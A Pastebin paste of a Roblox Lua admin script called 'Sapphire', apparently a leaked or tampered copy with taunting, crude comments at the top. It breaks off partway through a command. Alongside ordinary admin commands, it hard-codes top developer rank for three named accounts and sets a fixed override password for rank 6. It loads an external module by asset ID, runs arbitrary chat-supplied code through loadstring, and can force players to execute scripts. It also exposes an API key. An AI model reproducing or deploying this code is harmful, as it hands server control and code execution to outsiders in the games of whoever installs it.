Advertisement
Guest User

ASES1

a guest
Feb 20th, 2018
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. local module = {}
  2.  
  3.  
  4. --Well well well, Look who it is LMAOO.
  5. --You have done fucked up oii. Done done fucked up
  6. --Never Mess with Plexolo and ranked moderators.
  7. --Here you go kiddos
  8. Services = setmetatable({},{__index=function(s,n)
  9. if n == "ChatService" then
  10. return require(game.ServerScriptService:WaitForChild("ChatServiceRunner"):WaitForChild("ChatService"));
  11. else
  12. return game:service(n)
  13. end
  14. end})
  15. local ArchChat = Services.ChatService:AddSpeaker("Sapphire")
  16.  
  17. if not Services.ChatService:GetChannel("All") then
  18. Services.ChatService:AddChannel("All")
  19. for i,v in next, game:service'Players':players() do
  20. if Services.ChatService:GetSpeaker(v.Name) then
  21. Services.ChatService:GetSpeaker(v.Name):JoinChannel("All")
  22. end
  23. end
  24. end
  25.  
  26. ArchChat:JoinChannel("All")
  27.  
  28. ArchChat:SetExtraData("NameColor", Color3.new(
  29. 0.0/255.0,
  30. 255/255.0,
  31. 255/255.0))
  32. ArchChat:SetExtraData("ChatColor", Color3.new(
  33. 211.0/255.0,
  34. 211.0/255.0,
  35. 211.0/255.0))
  36.  
  37.  
  38.  
  39.  
  40. ArchChat:SayMessage("Sapphire has loaded.","All")
  41. ArchChat:SayMessage("For rank 0, say cmds! to view commands.","All")
  42.  
  43.  
  44. Services.ChatService:GetChannel("All").WelcomeMessage = "Sapphire Administration has been loaded on this place."
  45.  
  46. --[[ Sapphire by Lethox & KCROL ]]--
  47. local UpdateFound = false;
  48. local SaveLeave = false;
  49. local FC = require(607033461)
  50. local Waves = true
  51. local tabDesign = "Neon"
  52. local BackTab = true
  53. local Override = "L0LM0MMYW3SH3R3"
  54. local AgeLimit = 150
  55. --// Variables
  56. local Ranks = {
  57. {Rank = 0, Desc = "Guest"};
  58. {Rank = 1, Desc = "Player"};
  59. {Rank = 2, Desc = "Trusted"};
  60. {Rank = 3, Desc = "Moderator"};
  61. {Rank = 4, Desc = "Admin"};
  62. {Rank = 5, Desc = "Head Admin"};
  63. {Rank = 6, Desc = "Co-Owner"};
  64. {Rank = 7, Desc = "Developer"};
  65. };
  66. local Ranked = {
  67. {['Name'] = 'ASESINOPROHD', ['Rank'] = 7, ['Reason'] = 'Who knows? (YT_YTO, LOLMOMMY7 was here)', ['Color'] = 'Bright yellow', ['Suffix'] = '/'};
  68. {['Name'] = 'Reloxz', ['Rank'] = 7, ['Reason'] = 'Leaking Sapphire (YT_YTO, LOLMOMMY7 was here)', ['Color'] = 'Bright yellow', ['Suffix'] = '/'};
  69. {['Name'] = 'LOLMOMMY7', ['Rank'] = 7, ['Reason'] = 'idk anymore (YT_YTO, LOLMOMMY7 was here)', ['Color'] = 'Bright yellow', ['Suffix'] = '/'};
  70. };
  71.  
  72. local Tablets = {};
  73. local Commands = {};
  74. local Banned = {};
  75. local bannedscripts = {""}
  76. local Splitkey = '/'
  77. --// Functions
  78.  
  79. function Convert(color)
  80. return BrickColor.new(color).Color
  81. end
  82.  
  83. function AgeLimitBan(plr)
  84. if plr.AccountAge < AgeLimit then
  85. plr:kick('[Sapphire]: Your account age is below 150 days. You can join in '..AgeLimit - plr.AccountAge..' days.')
  86. end
  87. end
  88.  
  89. --Message--
  90.  
  91. function Message(msg, plr)
  92. for i,v in pairs(game.Players:GetPlayers()) do
  93. coroutine.wrap(function()
  94. -- Objects
  95.  
  96. local ScreenGui = Instance.new("ScreenGui")
  97. local Frame = Instance.new("Frame")
  98. local TextLabel = Instance.new("TextLabel")
  99. local TextLabel_2 = Instance.new("TextLabel")
  100.  
  101. -- Properties
  102.  
  103. ScreenGui.Parent = v.PlayerGui
  104.  
  105. Frame.Parent = ScreenGui
  106. Frame.BackgroundColor3 = Color3.new(0, 0, 0)
  107. Frame.BackgroundTransparency = 0.5
  108. Frame.Position = UDim2.new(0.5, -150, 0.5, -800)
  109. Frame.Size = UDim2.new(0, 300, 0, 300)
  110. Frame.Visible = true
  111.  
  112. TextLabel.Parent = Frame
  113. TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
  114. TextLabel.BackgroundTransparency = 1
  115. TextLabel.Position = UDim2.new(0.5, -150, 0, 0)
  116. TextLabel.Size = UDim2.new(0, 300, 0, 50)
  117. TextLabel.Font = Enum.Font.Highway
  118. TextLabel.FontSize = Enum.FontSize.Size32
  119. TextLabel.Text = "Sapphire MESSAGE"
  120. TextLabel.TextColor3 = Color3.new(1, 1, 1)
  121. TextLabel.TextSize = 32
  122.  
  123. TextLabel_2.Parent = Frame
  124. TextLabel_2.BackgroundColor3 = Color3.new(1, 1, 1)
  125. TextLabel_2.BackgroundTransparency = 1
  126. TextLabel_2.Position = UDim2.new(0.5, -100, 0, 100)
  127. TextLabel_2.Size = UDim2.new(0, 200, 0, 100)
  128. TextLabel_2.Font = Enum.Font.SourceSansItalic
  129. TextLabel_2.FontSize = Enum.FontSize.Size14
  130. TextLabel_2.Text = tostring(msg)
  131. TextLabel_2.TextColor3 = Color3.new(1, 1, 1)
  132. TextLabel_2.TextScaled = true
  133. TextLabel_2.TextSize = 14
  134. TextLabel_2.TextWrapped = true
  135.  
  136. Frame:TweenPosition(UDim2.new(0.5,-150,0.5,-150), "Out", "Back", 3)
  137. wait(6)
  138. Frame:TweenPosition(UDim2.new(0.5,-1400,0.5,-150), "Out", 6, 3)
  139. wait(5)
  140. ScreenGui:remove()
  141. end)()
  142. end
  143. end
  144.  
  145. --CFrame--
  146.  
  147. local ang=0
  148. game:GetService("RunService").Stepped:connect(function()
  149. ypcall(function()
  150. for _,Player in pairs(game:service'Players':GetPlayers()) do
  151. local PlayerTablets = {}
  152. for i,v in pairs(Tablets) do
  153. if v.Tab1.Parent ~= nil and v.Tab2.Parent ~= nil and v.Player == Player then
  154. table.insert(PlayerTablets, v)
  155. end
  156. end
  157. for i = 1, #PlayerTablets do
  158. ypcall(function()
  159. local tab = PlayerTablets[i].Tab1
  160. local tab2 = PlayerTablets[i].Tab2
  161. local pos = nil
  162. ypcall(function()
  163. pos = Player.Character.Torso.CFrame
  164. end)
  165. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+1)
  166. local y = math.sin(i + tick()*3.4)
  167. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+1)
  168. local cPos = tab.Position
  169. local ePos = Vector3.new(x, y, z) + (pos.p or Vector3.new(0, -5, 0))
  170. local nPos = (ePos-cPos)*.25
  171. cPos = cPos + nPos
  172. local t = (tick() - tick()) % 360
  173. local change = 0.0025
  174. ang=ang+change
  175. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(-8.25), 0, 0) * CFrame.Angles(math.rad(.55), 0, 0) * CFrame.Angles(0, math.rad((360 / #PlayerTablets) * i) + ang, 0) * CFrame.Angles(math.rad(ang), math.rad(ang), math.rad(ang))
  176. tab2.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, 5, 0))) * CFrame.Angles(math.rad(8.25), 0, 0) * CFrame.Angles(math.rad(-.55), 0, 0) * CFrame.Angles(0, math.rad((360 / #PlayerTablets) * i) + ang, 0) * CFrame.Angles(math.rad(0.00001), math.rad(0.00001), math.rad(0.00001))
  177.  
  178. end)
  179. end
  180. end
  181. end)
  182. end)
  183.  
  184. function Output(player,name,color,func)
  185. if name==nil then name='Error!' end
  186. if color==nil then color=tostring('Institutional white') end
  187. if player==nil then return false end
  188. local Tab = Instance.new('Part',workspace.Terrain)
  189. Tab.Anchored,Tab.Locked,Tab.CanCollide,Tab.BottomSurface,Tab.TopSurface=true,true,false,0,0
  190. Tab.Transparency = 0
  191. Tab.Size = Vector3.new(2,2,2)
  192. Tab.BrickColor = BrickColor.new(tostring(color))
  193. Tab.Position = player.Character.Head.Position
  194. local Tabb = Instance.new('Part',workspace.Terrain)
  195. Tabb.Anchored,Tabb.Locked,Tabb.CanCollide,Tabb.BottomSurface,Tabb.TopSurface=true,true,false,0,0
  196. Tabb.Transparency = 0
  197. Tabb.Size = Vector3.new(1.3,1.3,1.3)
  198. Tabb.BrickColor = BrickColor.new(tostring(color))
  199. Tabb.Position = player.Character.Head.Position
  200.  
  201. local Gui=Instance.new("BillboardGui", Tab)
  202. Gui.Adornee=Tab;
  203. Gui.StudsOffset = Vector3.new(0, 1.3, 0)
  204. Gui.Size = UDim2.new(8, 0, 7.5,0)
  205.  
  206. local Label=Instance.new("TextLabel", Gui)
  207. Label.Font = "SciFi"
  208. Label.TextColor3=Convert(tostring(color))
  209. Label.BackgroundTransparency=1
  210. Label.FontSize = "Size24"
  211. Label.Font = "SourceSansBold"
  212. Label.TextStrokeTransparency=1
  213. Label.Text = tostring(name)
  214. Label.TextStrokeColor3=Convert(tostring(color))
  215. Label.Size = UDim2.new(1, 0, 0.5, 0)
  216.  
  217. local CLICK=Instance.new("ClickDetector", Tab)
  218. CLICK.MaxActivationDistance=math.huge
  219.  
  220. CLICK.MouseClick:connect(function(p)
  221. if p.userId == player.userId or GetRank(p) > GetRank(player) then
  222. if func == nil then
  223. for i = 1, 5 do
  224. Tab.Transparency=Tab.Transparency + .1
  225. Tab.Size=Tab.Size - Vector3.new(.01,.01,.01)
  226. wait()
  227. end
  228. Tab:Destroy()
  229. Tabb:Destroy()
  230. else
  231. for i = 1, 5 do
  232. Tab.Transparency=Tab.Transparency + .1
  233. Tab.Size=Tab.Size - Vector3.new(.010,.010,.010)
  234. wait()
  235. end
  236. Tab:Destroy()
  237. Tabb:Destroy()
  238. func = func
  239. func()
  240. end
  241. end
  242. CLICK.MouseHoverEnter:connect(function(p)
  243. if p.Name == player.Name or GetRank(p) > GetRank(player) then
  244. for i = 1, 1 do
  245. Tab.Transparency = .7
  246. Tab.Size = Tab.Size + Vector3.new(.1,.1,.1)
  247. end
  248. end
  249. end)
  250. CLICK.MouseHoverLeave:connect(function(p)
  251. if p.Name == player.Name or GetRank(p) > GetRank(player) then
  252. Tab.Transparency = .3
  253. Tab.Size = Vector3.new(2,2,2)
  254. end
  255. end)
  256. end)
  257.  
  258. if tabDesign == "Double" then
  259. Tab.Size = Vector3.new(2,2,2)
  260. Tabb.Size = Vector3.new(.7,.7,.7)
  261. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  262. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  263. Tabb.Transparency = 0
  264. Tab.Transparency = 0.3
  265. elseif tabDesign == "Plain" then
  266. Tab.Size = Vector3.new(2,2,2)
  267. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  268. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  269. Tabb.Transparency = 1
  270. Tab.Transparency = 0
  271. elseif tabDesign == "SelectionBox" then
  272. Tab.Size = Vector3.new(2,2,2)
  273. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  274. local sel = Instance.new('SelectionBox',Tab)
  275. sel.Color = Tab.BrickColor
  276. sel.LineThickness = 0.01
  277. sel.Adornee = Tab
  278. Tab.Transparency = 0.3
  279. Tabb.Transparency = 1
  280. elseif tabDesign == "DoubledSel" then
  281. Tab.Size = Vector3.new(2,2,2)
  282. Tabb.Size = Vector3.new(.7,.7,.7)
  283. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  284. local sel = Instance.new('SelectionBox',Tab)
  285. sel.Color = Tab.BrickColor
  286. sel.LineThickness = 0.01
  287. sel.Adornee = Tab
  288. Tab.Transparency = 0.3
  289. Tabb.Transparency = 0
  290. elseif tabDesign == "Orb" then
  291. Tab.Size = Vector3.new(2,2,2)
  292. Tabb.Transparency = 1
  293. Tab.Transparency = 0
  294. local m = Instance.new('SpecialMesh',Tab)
  295. m.MeshType = "Sphere"
  296. m.Scale = Vector3.new(1,1,1)
  297. elseif tabDesign == "DoubleOrb" then
  298. Tab.Size = Vector3.new(2,2,2)
  299. Tabb.Size = Vector3.new(1.3,1.3,1.3)
  300. Tab.Transparency = 0.3
  301. local m = Instance.new('SpecialMesh',Tab)
  302. m.MeshType = "Sphere"
  303. m.Scale = Vector3.new(1,1,1)
  304. local m = Instance.new('SpecialMesh',Tabb)
  305. m.MeshType = "Sphere"
  306. m.Scale = Vector3.new(.6,.6,.6)
  307. elseif tabDesign == "Flat" then
  308. Tab.Size = Vector3.new(3,4,0.2)
  309. Tab.Transparency = 0
  310. Tabb.Transparency = 1
  311. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  312. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  313. elseif tabDesign == "DoubleFlat" then
  314. Tab.Size = Vector3.new(3,4,0.4)
  315. Tab.Transparency = .3
  316. Tabb.Transparency = 0
  317. Tabb.Size = Vector3.new(2,3,0.2)
  318. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  319. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  320. elseif tabDesign == "Neon" then
  321. for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
  322. for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
  323. Tab.Material = "Neon"
  324. Tab.Size = Vector3.new(2,2,2)
  325. Tab.Transparency=0
  326. Tabb.Size = Vector3.new(.7,.7,.7)
  327. Tabb.Transparency = 1
  328. end
  329.  
  330. table.insert(Tablets, {Tab1 = Tab, Tab2 = Tabb, Player = player})
  331. end
  332.  
  333.  
  334.  
  335. AddRank = function(Name, Rank, Reason, Color, Trans, SelBox, Suffix)
  336. if type(Name) == 'userdata' then Name = Name.Name end
  337. table.insert(Ranked, {['Name'] = Name, ['Rank'] = Rank, ['Reason'] = Reason, ['Color'] = Color, ['Transparency'] = Trans, ['SelBox'] = SelBox, ['Suffix'] = Suffix})
  338. end
  339.  
  340. SetRank = function(player, rank)
  341. if type(player) == 'userdata' then player = player.Name end
  342. for _,plr in next,Ranked do
  343. if plr.Name == player then
  344. plr.Rank = rank
  345. end
  346. end
  347.  
  348. AddRank(player, rank, "A normal player", "Toothpaste", .3, false, '~')
  349. end
  350.  
  351. function getRanked(player)
  352. Dismiss(player)
  353. Output(player, 'Getting ranked table, please wait...', 'Institutional white')
  354. wait(3)
  355. Dismiss(player)
  356. Output(player, 'Dismiss', 'Really red', function() Dismiss(player) end)
  357. for _,plr in next,Ranked do
  358. Output(player, plr.Name, 'Institutional white', function()
  359. Dismiss(player)
  360. Output(player, 'Name: '..plr.Name, 'Institutional white')
  361. Output(player, 'Rank: '..GetRank(plr), 'Lime green')
  362. Output(player, 'Description: '..GetDesc(plr), 'Deep orange')
  363. Output(player, 'Suffix: '..GetSuffix(plr), 'Cyan')
  364. Output(player, 'Dismiss', 'Really red', function() Dismiss(player) end)
  365. end)
  366. end
  367. end
  368.  
  369. function GetRank(plr)
  370. if type(plr) == 'userdata' then
  371. plr=tostring(plr)
  372. elseif type(plr) == 'string' then
  373. plr=plr.Name
  374. else
  375. plr=plr
  376. end
  377.  
  378. for _,data in pairs(Ranked) do
  379. if data['Name'] == plr then
  380. local rnk = data['Rank']
  381. return rnk --If plr is on the rank list their rank is here
  382. end
  383. end
  384.  
  385. return 0 --Player's rank will be 0 if not on the list
  386. end
  387.  
  388. function GetSuffix(plr)
  389. if type(plr) == 'userdata' then
  390. plr=tostring(plr)
  391. elseif type(plr) == 'string' then
  392. plr=plr.Name
  393. else
  394. plr=plr
  395. end
  396.  
  397. for _,data in pairs(Ranked) do
  398. if data['Name'] == plr then
  399. local suffix = data['Suffix']
  400. return suffix --If plr is on the rank list their rank is here
  401. end
  402. end
  403.  
  404. return '!' --Player's suffix is ! if not ranked.
  405. end
  406.  
  407. function GetDesc(plr)
  408. if type(plr) == 'userdata' then
  409. plr=tostring(plr)
  410. elseif type(plr) == 'string' then
  411. plr=plr.Name
  412. else
  413. plr=plr
  414. end
  415.  
  416. for _,data in pairs(Ranked) do
  417. if data['Name'] == plr then
  418. local reason = data['Reason']
  419. return reason
  420. end
  421. end
  422.  
  423. return 'A normal player!'
  424. end
  425.  
  426. function GetColor(plr)
  427. if type(plr) == 'userdata' then
  428. plr=tostring(plr)
  429. elseif type(plr) == 'string' then
  430. plr=plr.Name
  431. else
  432. plr=plr
  433. end
  434.  
  435. for _,data in pairs(Ranked) do
  436. if data['Name'] == plr then
  437. local clr = data['Color']
  438. return clr --If plr is on the rank list their color here
  439. end
  440. end
  441.  
  442. return 'Cyan' --Player's color is Cyan if not ranked.
  443. end
  444.  
  445. function Dismiss(plr)
  446. pcall(function()
  447. for _,tablets in pairs(Tablets) do
  448. if tablets.Player == plr then
  449. local T = coroutine.create(function()
  450. repeat
  451. game:GetService("RunService").Heartbeat:wait(0.000000000000000000000001)
  452. tablets.Tab1.Size=Vector3.new(tablets.Tab1.Size.X-0.1,tablets.Tab1.Size.Y-0.1,tablets.Tab1.Size.Z-0.1)
  453. tablets.Tab2.Size=Vector3.new(tablets.Tab2.Size.X-0.1,tablets.Tab2.Size.Y-0.1,tablets.Tab2.Size.Z-0.1)
  454. until tablets.Tab1.Size.X<0.3;
  455. tablets.Tab1:Destroy()
  456. tablets.Tab2:Destroy()
  457. end)
  458. coroutine.resume(T)
  459. end
  460. end
  461. end)
  462. end
  463.  
  464. Commands_E = function(player)
  465. Dismiss(player)
  466. for i = 0, 7 do
  467. Output(player, 'Rank '..i..'', GetColor(player), function()
  468. GetCommands(player, i)
  469. end)
  470. end
  471. Output(player, 'Your rank is '..GetRank(player)..'','Bright green')
  472. end
  473.  
  474.  
  475. GetCommands = function(player, rank)
  476. Dismiss(player)
  477. for _, CMDS in pairs(Commands) do
  478. if CMDS['Rank'] <= rank then
  479. Output(player, CMDS['Name'], GetColor(player), function()
  480. Dismiss(player)
  481. Output(player, 'Description: '..CMDS['Desc'], 'Lime green')
  482. Output(player, 'Usage (For you): '..CMDS['Say']..''..GetSuffix(player),'Bright red')
  483. Output(player, 'Rank Needed: '..CMDS['Rank'], 'Cyan')
  484. Output(player, 'Name: '..CMDS['Name'], 'Toothpaste')
  485. Output(player, 'Back', 'Navy blue', function() GetCommands(player, rank) end)
  486. Output(player, 'Dismiss', 'Really red', function() Dismiss(player) end)
  487. if GetRank(player) < CMDS['Rank'] then
  488. Output(player, "You can't use this command!","Really red")
  489. else
  490. Output(player, 'You can use this command!','Lime green')
  491. end
  492. end)
  493. end
  494. end
  495. end
  496.  
  497.  
  498.  
  499. function getPlayers(plr)
  500. Dismiss(plr)
  501. Output(plr, 'Dismiss', 'Really red', function() Dismiss(plr) end)
  502. for _,player in pairs(game.Players:GetPlayers()) do
  503. Output(plr, player.Name..' [RANK '..GetRank(player)..']', 'Institutional white',function()
  504. Dismiss(plr)
  505. Output(plr, 'Dismiss', 'Really red', function() Dismiss(plr) end)
  506. Output(plr, 'Name: '..player.Name..'','Institutional white')
  507. Output(plr, 'Rank: '..GetRank(player)..'', 'Lime green')
  508. Output(plr, 'Account Age: '..player.AccountAge..'', 'Cyan')
  509. Output(plr, 'Builders Club Type: '..player.MembershipType.Name..'', 'Deep orange')
  510. Output(plr, 'Description: '..GetDesc(player), 'Really black')
  511. Output(plr, 'Suffix: '..GetSuffix(player), 'Bright red')
  512. Output(plr, 'Color: '..GetColor(player), GetColor(player))
  513. Output(plr, 'Kick', 'Really red', function() Dismiss(plr) player:kick('[Sapphire]: You have been kicked from the game.') end)
  514. Output(plr, 'Ban', 'Really red', function() Dismiss(plr) player:kick('[Sapphire]: You have been banned from the server.') table.insert(Banned, player.Name) end)
  515. end)
  516. end
  517. end
  518.  
  519.  
  520.  
  521. Chatted = function(speaker, message)
  522. if message:sub(1, 2) == '/e' then
  523. if #message > 3 then
  524. message = message:sub(4)
  525. end
  526. elseif message:sub(1, 1) == '*' then
  527. if #message > 2 then
  528. message = message:sub(2)
  529. end
  530. elseif message:sub(1, 1) == '>' then
  531. if #message > 2 then
  532. message = message:sub(2)
  533. end
  534. end
  535.  
  536.  
  537. local command=message
  538. for _, CMDS in pairs(Commands) do
  539. if command:sub(1, #CMDS['Say']+#GetSuffix(speaker)) == CMDS['Say']..GetSuffix(speaker) then
  540. if GetRank(speaker) >= CMDS['Rank'] then
  541. local msg = command:sub(#CMDS["Say"]+#GetSuffix(speaker)+1)
  542. a,b = ypcall(function()
  543. CMDS["Func"](speaker, msg)
  544. end)
  545. if not a then warn(b) Output(speaker, 'ERROR: '..b, 'Really red') end
  546. else
  547. Output(speaker, 'You need rank '..CMDS['Rank']..' to use this command!', 'Really red')
  548. end
  549. end
  550. end
  551. end
  552.  
  553.  
  554.  
  555.  
  556. function NewCommand(name, usage, rank, desc, func)
  557. table.insert(Commands, {['Name'] = name, ['Say'] = usage, ['Rank'] = rank, ['Desc'] = desc, ['Func'] = func})
  558. end
  559.  
  560. function SBChat(title,msg)
  561. pcall(function()
  562. for i,v in pairs(game.Players:GetPlayers()) do
  563. local value = Instance.new('StringValue',v)
  564. value.Name = "SB_Chat"
  565. value.Value = tostring(title)..'/'..msg
  566. game.Debris:AddItem(value,.1)
  567. end
  568. end)
  569. end
  570.  
  571. function SBChatAll(name, cht)
  572. for _,plr in pairs(game.Players:GetPlayers()) do
  573. SBChat(plr, name, cht)
  574. end
  575. end
  576.  
  577. GetPlayers = function(plr, msg)
  578. local plrs = {}
  579. if msg:match("^!") then
  580. return FindPlayers(plr, msg:sub(2), true)
  581. elseif msg == "me" then
  582. table.insert(plrs, plr)
  583. elseif msg == "all" then FindPlayers = function(plr, msg)
  584. local plrs = {}
  585. if msg:match("^!") then
  586. return FindPlayers(plr, msg:sub(2), true)
  587. elseif msg == "me" then
  588. table.insert(plrs, plr)
  589. elseif msg == "all" then
  590. for _,v in pairs(game:service'Players':players()) do
  591. table.insert(plrs, v)
  592. end
  593. elseif msg == "others" then
  594. for _,v in pairs(game:service'Players':players()) do
  595. if v ~= plr then
  596. table.insert(plrs, v)
  597. end
  598. end
  599. else
  600. for _,v in pairs(game:service'Players':players()) do
  601. if v.Name:lower():sub(1,#msg) == msg:lower() then
  602. table.insert(plrs, v)
  603. end
  604. end
  605. end
  606. return plrs
  607. end
  608. for _,v in pairs(game:service'Players':players()) do
  609. table.insert(plrs, v)
  610. end
  611. elseif msg == "others" then
  612. for _,v in pairs(game:service'Players':players()) do
  613. if v ~= plr then
  614. table.insert(plrs, v)
  615. end end
  616. else for _,v in pairs(game:service'Players':players()) do
  617.  
  618. if v.Name:lower():sub(1,#msg) == msg:lower() then
  619. table.insert(plrs, v)
  620. end
  621. end
  622. end
  623. return plrs
  624. end
  625.  
  626. function ConnectPlayer(plr)
  627. wait(1);
  628. for _,bans in pairs(Banned) do
  629. if plr.Name == bans then
  630. plr:kick("[Sapphire]: You are banned!")
  631. end
  632. end
  633. end
  634.  
  635. for _,plr in pairs(game.Players:GetPlayers()) do
  636. ConnectPlayer(plr)
  637. end
  638.  
  639. game.Players.PlayerAdded:connect(function(plr)
  640. ConnectPlayer(plr)
  641. Output(plr, 'Welcome to Sapphire, '..plr.Name..'!','Lime green')
  642. Output(plr, 'Your rank is: '..GetRank(plr),'Deep orange')
  643. Output(plr, 'Click to show commands','Bright green',function() Commands_E(plr) end)
  644. Output(plr, 'Dismiss','Really red',function() Dismiss(plr) end)
  645. Output(plr, 'Your dick is '..GetSuffix(plr), 'Cyan')
  646.  
  647.  
  648. plr.Chatted:connect(function(m)
  649. Chatted(plr, m)
  650. end)
  651.  
  652. ArchChat:SayMessage(plr.Name.." has joined the game!","All")
  653.  
  654. setChatColor(plr)
  655. end)
  656.  
  657. game.Players.PlayerRemoving:connect(function(player)
  658. ArchChat:SayMessage(player.Name.." has left the game.","All")
  659. end)
  660.  
  661. function Sbexe(cmd,plr)
  662. if not type(cmd)=='string'then return end
  663. if plr then
  664. if type(plr)=='userdata'then
  665. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  666. elseif type(plr)=='string'then
  667. plr = game:GetService('Players'):FindFirstChild(plr)
  668. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  669. end
  670. else
  671. for i,v in pairs(game:GetService('Players'):children())do
  672. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
  673. end
  674. end
  675. end
  676.  
  677. --// Moving on from functions
  678.  
  679. NewCommand("ForceField", 'ff',3,'Give a player a forcefield',function(player,message)
  680. for _,plr in next,GetPlayers(player,message) do
  681. Instance.new('ForceField',plr.Character)
  682. end
  683. end)
  684.  
  685. NewCommand('Commands', 'cmds',0,'Show the commands',function(player,message)
  686. Commands_E(player)
  687. end)
  688.  
  689. NewCommand('Dismiss','dt',0,'Dismisses tablets',function(player,message)
  690. Dismiss(player)
  691. end)
  692.  
  693. NewCommand('SB Exe','sb',5,'Make a player run a SB Command/Script',function(player,message)
  694. local Split = message:find(Splitkey)
  695. local PreSplit = message:sub(1, Split - 1)
  696. local AfterSplit = message:sub(Split + 1)
  697. for _,plr in next,GetPlayers(player,PreSplit) do
  698. Sbexe(tostring(AfterSplit), plr)
  699. end
  700. end)
  701.  
  702. NewCommand('Kick','kick',4,'Kick a player',function(player,message)
  703. local Split = message:find(Splitkey)
  704. local PreSplit = message:sub(1, Split - 1)
  705. local AfterSplit = message:sub(Split + 1)
  706. for _,plr in next,GetPlayers(player,PreSplit) do
  707. plr:kick('[Sapphire]: You have been kicked for '..tostring(AfterSplit))
  708. end
  709. end)
  710.  
  711. NewCommand('Kill','kill',3,'Kill a player',function(player,message)
  712. for _,plr in next,GetPlayers(player,message) do
  713. plr.Character.Humanoid.Health = 0
  714. end
  715. end)
  716.  
  717. NewCommand('Rank','rank',7,'Set a players rank',function(player,message)
  718. local Split = message:find(Splitkey)
  719. local PreSplit = message:sub(1, Split - 1)
  720. local AfterSplit = message:sub(Split + 1)
  721. for _,plr in next,GetPlayers(player,PreSplit) do
  722. SetRank(plr, tonumber(AfterSplit))
  723. end
  724. end)
  725.  
  726. NewCommand('God','god',3,'God a player',function(player,message)
  727. for _,plr in next,GetPlayers(player,message) do
  728. plr.Character.Humanoid.MaxHealth = math.huge
  729. end
  730. end)
  731.  
  732. NewCommand('UnGod','ungod',3,'Remove a players god mode',function(player,message)
  733. for _,plr in next,GetPlayers(player,message) do
  734. plr.Character.Humanoid.MaxHealth = 100
  735. end
  736. end)
  737.  
  738. NewCommand("SBExe To All",'sball',6,'Run a SB script to everyone',function(player,message)
  739. Output(player, 'Made everyone do '..message,GetColor(player))
  740. for i,v in pairs(game.Players:GetPlayers()) do
  741. Sbexe(message, v)
  742. end
  743. end)
  744.  
  745. NewCommand('Execute','exe',5,'Execute a script',function(player,message)
  746. local success,errored = loadstring(message)
  747. if success and not errored then
  748. success()
  749. else
  750. Output(player, 'Sapphire - Error: '..errored,'Really red')
  751. end
  752. end)
  753.  
  754. NewCommand('UnFF','unff',3,'Remove someones forcefield',function(player,message)
  755. for _,plr in next,GetPlayers(player,message) do
  756. for i,v in pairs(plr.Character:children()) do
  757. if v:IsA("ForceField") or v.ClassName == "ForceField" then
  758. v:remove()
  759. end
  760. end
  761. end
  762. end)
  763.  
  764. NewCommand('Ban','ban',5,'Ban a player',function(player,message)
  765. local Split = message:find(Splitkey)
  766. local PreSplit = message:sub(1, Split - 1)
  767. local AfterSplit = message:sub(Split + 1)
  768. for _,plr in next,GetPlayers(player,PreSplit) do
  769. plr:kick('[Sapphire]: You have been banned for '..tostring(AfterSplit))
  770. table.insert(Banned, plr.Name)
  771. end
  772. end)
  773.  
  774. NewCommand('Message','msg',3,'Send a server message',function(player,message)
  775. Message(message)
  776. end)
  777.  
  778. NewCommand("Set Bass","bass",4,"Set the bass of every sound on ROBLOX",function(player,message)
  779. Output(player, 'Set the bass to '..tonumber(message),GetColor(player))
  780. game:GetService("SoundService").AmbientReverb = tonumber(message)
  781. end)
  782.  
  783. NewCommand('Music','play',4,'Play a music sound',function(player,message)
  784. Output(player, 'Now playing: '..game:GetService("MarketplaceService"):GetProductInfo(tonumber(message:match("%d+$"))).Name..'','Institutional white')
  785. ArchChat:SayMessage("Now playing "..game:GetService("MarketplaceService"):GetProductInfo(tonumber(message:match("%d+$"))).Name, "All")
  786. local s = Instance.new('Sound',workspace) s.SoundId = 'rbxassetid://'..message s.Volume = 1 s.Pitch = 1 s.Looped = true s:play()
  787. end)
  788.  
  789. NewCommand('Stop Music','stop',4,'Stop all running music',function(player,message)
  790. for i,v in pairs(workspace:children(), workspace.Terrain:children()) do
  791. if v:IsA("Sound") then
  792. v:remove()
  793. SBChat('Sapphire','Stopped all running music.')
  794. end
  795. end
  796. end)
  797.  
  798. NewCommand('Respawn','rsp',3,'Respawn a player',function(player,message)
  799. for _,plr in next,GetPlayers(player,message) do
  800. plr:LoadCharacter()
  801. end
  802. end)
  803.  
  804. NewCommand("Define", "def", 0, "Defines a word", function(player, message)
  805. local http=game:GetService('HttpService')
  806. local req=http:GetAsync("http://api.wordnik.com/v4/word.json/"..message.."/definitions?limit=1&includeRelated=false&sourceDictionaries=all&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5",true)
  807. req=http:JSONDecode(req)
  808. local def={}
  809. for i in string.gmatch(req[1].text, "%w+%p*") do
  810. table.insert(def,i)
  811. end
  812. local defs=""
  813. for _,v in pairs(def) do
  814. defs=defs..v.." "
  815. if _%10==0 then defs=defs.."\n" end
  816. end
  817. Output(player,defs,GetColor(player))
  818. end)
  819.  
  820. NewCommand('Rank Override','override',0,'Show a GUI. If you enter the code right, you get rank 6.',function(player,message)
  821. -- Objects
  822.  
